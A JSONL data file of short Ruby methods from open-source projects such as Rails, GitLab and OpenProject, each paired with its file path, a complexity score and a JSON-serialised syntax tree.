{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/persistence.rb","start_line":878,"raw_source":"def apply_scoping?(options)\n        !(options && options[:unscoped]) &&\n          (self.class.default_scopes?(all_queries: true) || self.class.global_current_scope)\n      end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_scoping?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unscoped\"]}]}]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"default_scopes?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"all_queries\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"global_current_scope\"]}]}]}]}]}","id":"d603fb8c-d064-4308-8f87-f6ba699adfa7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/routing/projects_helper.rb","start_line":37,"raw_source":"def issue_url(entity, *args)\n      if use_work_items_path?(entity)\n        work_item_url(entity, *args)\n      else\n        project_issue_url(entity.project, entity, *args)\n      end\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entity\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_work_items_path?\",{\"type\":\"lvar\",\"children\":[\"entity\"]}]},{\"type\":\"send\",\"children\":[null,\"work_item_url\",{\"type\":\"lvar\",\"children\":[\"entity\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"send\",\"children\":[null,\"project_issue_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"project\"]},{\"type\":\"lvar\",\"children\":[\"entity\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"b67abea3-f565-4ac5-8790-993558a06070"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/parse_schema_filter_params_service.rb","start_line":106,"raw_source":"def only_valid_pairs(id_pairs, projects_map, types_map)\n    id_pairs.reject do |project_id, type_id|\n      projects_map[project_id.to_i].nil? || types_map[type_id.to_i].nil?\n    end\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"only_valid_pairs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id_pairs\"]},{\"type\":\"arg\",\"children\":[\"projects_map\"]},{\"type\":\"arg\",\"children\":[\"types_map\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_pairs\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]},{\"type\":\"arg\",\"children\":[\"type_id\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_id\"]},\"to_i\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_id\"]},\"to_i\"]}]},\"nil?\"]}]}]}]}","id":"6375f92c-ec6f-4739-a001-b566ba2bcfdd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/helpers.rb","start_line":22,"raw_source":"def warning(message)\n            pipeline.add_warning_message(sanitize_message(message))\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"warning\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"add_warning_message\",{\"type\":\"send\",\"children\":[null,\"sanitize_message\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"7036aa79-608f-410b-809a-9f3e0df8ce53"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/journals/item_component.rb","start_line":58,"raw_source":"def wrapper_uniq_by\n          journal.id\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wrapper_uniq_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journal\"]},\"id\"]}]}","id":"e85997c9-620d-41d7-9b76-436736169fd7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration/compatibility.rb","start_line":223,"raw_source":"def new_column_definition(name, type, **options)\n            type = PostgreSQLCompat.compatible_timestamp_type(type, @conn)\n            super\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new_column_definition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgreSQLCompat\"]},\"compatible_timestamp_type\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"ivar\",\"children\":[\"@conn\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"ee85e2a7-d64a-40ca-b2f7-18636144640b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/evm_dump.rb","start_line":16,"raw_source":"def yml_dump(yml_fname, items)\n  File.delete(yml_fname) if File.exist?(yml_fname)\n  File.open(yml_fname, \"w\") { |fd| fd.write(YAML.dump(items)) }\nend","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"yml_dump\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"yml_fname\"]},{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"yml_fname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"yml_fname\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"yml_fname\"]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}]}]}]}","id":"9ca9f1b0-2e9a-4979-9a26-a4cfad337d55"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meetings/email_updates_banner_component.rb","start_line":68,"raw_source":"def description\n      I18n.t(\"meeting.notifications.banner.#{type}.#{status}\")\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"meeting.notifications.banner.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]}]}]}]}]}","id":"0dc5a9e2-6f6f-44b0-897f-d7a0287bbeea"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/snapshotting.rb","start_line":33,"raw_source":"def v_snapshot_oldest_description\n    oldest = oldest_snapshot\n    return nil if oldest.nil?\n\n    oldest.description\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"v_snapshot_oldest_description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"oldest\",{\"type\":\"send\",\"children\":[null,\"oldest_snapshot\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oldest\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oldest\"]},\"description\"]}]}]}","id":"65ca4043-b055-4197-9c08-fd13f25bedc5"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report/ignore/interactive.rb","start_line":320,"raw_source":"def show_confidence warning\n      label \"Confidence\"\n\n      case warning.confidence\n      when 0\n        say \"High\", :red\n      when 1\n        say \"Medium\", :yellow\n      when 2\n        say \"Weak\", :cyan\n      else\n        say \"Unknown\"\n      end\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"show_confidence\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"warning\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Confidence\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"confidence\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"High\"]},{\"type\":\"sym\",\"children\":[\"red\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Medium\"]},{\"type\":\"sym\",\"children\":[\"yellow\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Weak\"]},{\"type\":\"sym\",\"children\":[\"cyan\"]}]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Unknown\"]}]}]}]}]}","id":"97d1c0ae-b253-4654-ae23-01d221d7d99c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/reports_controller.rb","start_line":56,"raw_source":"def filter_params\n      params.slice(*ReportFilter::KEYS).permit(*ReportFilter::KEYS)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReportFilter\"]},\"KEYS\"]}]}]},\"permit\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReportFilter\"]},\"KEYS\"]}]}]}]}","id":"2230d382-792f-4297-8ea9-248003902548"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/nested_parenthesized_calls.rb","start_line":51,"raw_source":"def autocorrect(corrector, nested)\n          first_arg = nested.first_argument.source_range\n          last_arg = nested.last_argument.source_range\n\n          leading_space =\n            range_with_surrounding_space(first_arg.begin,\n                                         side: :left,\n                                         whitespace: true,\n                                         continuations: true)\n\n          corrector.replace(leading_space, '(')\n          corrector.insert_after(last_arg, ')')\n        end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"nested\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_arg\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nested\"]},\"first_argument\"]},\"source_range\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_arg\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nested\"]},\"last_argument\"]},\"source_range\"]}]},{\"type\":\"lvasgn\",\"children\":[\"leading_space\",{\"type\":\"send\",\"children\":[null,\"range_with_surrounding_space\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_arg\"]},\"begin\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"side\"]},{\"type\":\"sym\",\"children\":[\"left\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"whitespace\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"continuations\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"leading_space\"]},{\"type\":\"str\",\"children\":[\"(\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_after\",{\"type\":\"lvar\",\"children\":[\"last_arg\"]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}","id":"2043d8c5-8dfb-46d2-a979-8f32807b98a8"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/timer.rb","start_line":69,"raw_source":"def initialize(title, interval, repeat, log, checker, detacher, &callback)\n          @title = title\n          @callback = callback\n          @repeat = repeat\n          @log = log\n          @checker = checker\n          @detacher = detacher\n          super(interval, repeat)\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]},{\"type\":\"arg\",\"children\":[\"interval\"]},{\"type\":\"arg\",\"children\":[\"repeat\"]},{\"type\":\"arg\",\"children\":[\"log\"]},{\"type\":\"arg\",\"children\":[\"checker\"]},{\"type\":\"arg\",\"children\":[\"detacher\"]},{\"type\":\"blockarg\",\"children\":[\"callback\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@title\",{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@callback\",{\"type\":\"lvar\",\"children\":[\"callback\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@repeat\",{\"type\":\"lvar\",\"children\":[\"repeat\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@log\",{\"type\":\"lvar\",\"children\":[\"log\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@checker\",{\"type\":\"lvar\",\"children\":[\"checker\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@detacher\",{\"type\":\"lvar\",\"children\":[\"detacher\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interval\"]},{\"type\":\"lvar\",\"children\":[\"repeat\"]}]}]}]}","id":"37abc9dd-26fa-4cdb-9baa-3571d6bf0523"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migrator_test.rb","start_line":406,"raw_source":"def test_migrator_going_down_due_to_version_target\n    schema_migration = ActiveRecord::Base.connection_pool.schema_migration\n    calls, migrator = migrator_class(3)\n    migrator = migrator.new(\"valid\", schema_migration)\n\n    migrator.up(1)\n    assert_equal [[:up, 1]], calls\n    calls.clear\n\n    migrator.migrate(0)\n    assert_equal [[:down, 1]], calls\n    calls.clear\n\n    migrator.migrate\n    assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls\n  end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_migrator_going_down_due_to_version_target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"schema_migration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"schema_migration\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"calls\"]},{\"type\":\"lvasgn\",\"children\":[\"migrator\"]}]},{\"type\":\"send\",\"children\":[null,\"migrator_class\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"migrator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"new\",{\"type\":\"str\",\"children\":[\"valid\"]},{\"type\":\"lvar\",\"children\":[\"schema_migration\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"up\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvar\",\"children\":[\"calls\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calls\"]},\"clear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"migrate\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"down\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvar\",\"children\":[\"calls\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calls\"]},\"clear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"migrate\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvar\",\"children\":[\"calls\"]}]}]}]}","id":"0132c52e-4eca-4267-9d72-96f0432f5bac"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/spec/services/whatsapp/incoming_message_whatsapp_cloud_service_spec.rb","start_line":112,"raw_source":"def stub_media_url_request\n    stub_request(\n      :get,\n      whatsapp_channel.media_url(\n        'b1c68f38-8734-4ad3-b4a1-ef0c10d683',\n        whatsapp_channel.provider_config['phone_number_id']\n      )\n    ).to_return(\n      status: 200,\n      body: {\n        messaging_product: 'whatsapp',\n        url: 'https://chatwoot-assets.local/sample.png',\n        mime_type: 'image/jpeg',\n        sha256: 'sha256',\n        file_size: 'SIZE',\n        id: 'b1c68f38-8734-4ad3-b4a1-ef0c10d683'\n      }.to_json,\n      headers: { 'content-type' => 'application/json' }\n    )\n  end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_media_url_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whatsapp_channel\"]},\"media_url\",{\"type\":\"str\",\"children\":[\"b1c68f38-8734-4ad3-b4a1-ef0c10d683\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whatsapp_channel\"]},\"provider_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"phone_number_id\"]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messaging_product\"]},{\"type\":\"str\",\"children\":[\"whatsapp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://chatwoot-assets.local/sample.png\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mime_type\"]},{\"type\":\"str\",\"children\":[\"image/jpeg\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha256\"]},{\"type\":\"str\",\"children\":[\"sha256\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_size\"]},{\"type\":\"str\",\"children\":[\"SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"b1c68f38-8734-4ad3-b4a1-ef0c10d683\"]}]}]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content-type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]}","id":"a33a2024-0491-4707-a124-2b97f14f3fdf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/project_uploads.rb","start_line":83,"raw_source":"def each_orphan_file\n        ProjectUploadFileFinder.new.each_file_batch do |file_paths|\n          logger.debug \"Processing batch of #{file_paths.size} project upload file paths, starting with #{file_paths.first}\"\n\n          file_paths.each do |path|\n            pup = ProjectUploadPath.from_path(path)\n\n            yield(path, pup.upload_path) if pup.orphan?\n          end\n        end\n      end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"each_orphan_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectUploadFileFinder\"]},\"new\"]},\"each_file_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_paths\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Processing batch of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_paths\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" project upload file paths, starting with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_paths\"]},\"first\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pup\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectUploadPath\"]},\"from_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pup\"]},\"orphan?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pup\"]},\"upload_path\"]}]},null]}]}]}]}]}]}","id":"f7f8402e-f82b-44e8-9c34-7845e28069e5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/share_lock_test.rb","start_line":519,"raw_source":"def teardown\n        @latch.count_down\n        @thread.join\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@latch\"]},\"count_down\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@thread\"]},\"join\"]}]}]}","id":"19df693d-13f6-4f59-85fe-e56ad2fb4897"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/time_profile.rb","start_line":81,"raw_source":"def days=(arr)\n    arr = arr.collect(&:to_i)\n    profile_will_change! if profile[:days] != arr\n    profile[:days] = arr\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"days=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"profile\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"days\"]}]},\"!=\",{\"type\":\"lvar\",\"children\":[\"arr\"]}]},{\"type\":\"send\",\"children\":[null,\"profile_will_change!\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"profile\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"days\"]},{\"type\":\"lvar\",\"children\":[\"arr\"]}]}]}]}","id":"99aea8cc-add1-45c9-a873-5990de31eb7e"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/index_cache_test.rb","start_line":157,"raw_source":"def test_cache_index_with_non_id_primary_key\n    KeyedRecord.cache_index(:value)\n    KeyedRecord.create!(value: \"a\") { |r| r.hashed_key = 123 }\n    assert_equal([123], KeyedRecord.fetch_by_value(\"a\").map(&:id))\n  end","complexity_score":9.68,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cache_index_with_non_id_primary_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"KeyedRecord\"]},\"cache_index\",{\"type\":\"sym\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"KeyedRecord\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"str\",\"children\":[\"a\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"hashed_key=\",{\"type\":\"int\",\"children\":[123]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[123]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"KeyedRecord\"]},\"fetch_by_value\",{\"type\":\"str\",\"children\":[\"a\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"d903534d-520a-44b5-a7ac-b06e0cc9d935"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/app/models/active_storage/variant_with_record.rb","start_line":14,"raw_source":"def initialize(blob, variation)\n    @blob, @variation = blob, ActiveStorage::Variation.wrap(variation)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blob\"]},{\"type\":\"arg\",\"children\":[\"variation\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@blob\"]},{\"type\":\"ivasgn\",\"children\":[\"@variation\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Variation\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"variation\"]}]}]}]}]}","id":"5fad2f04-4351-4dc6-b810-8826c598b3b3"}
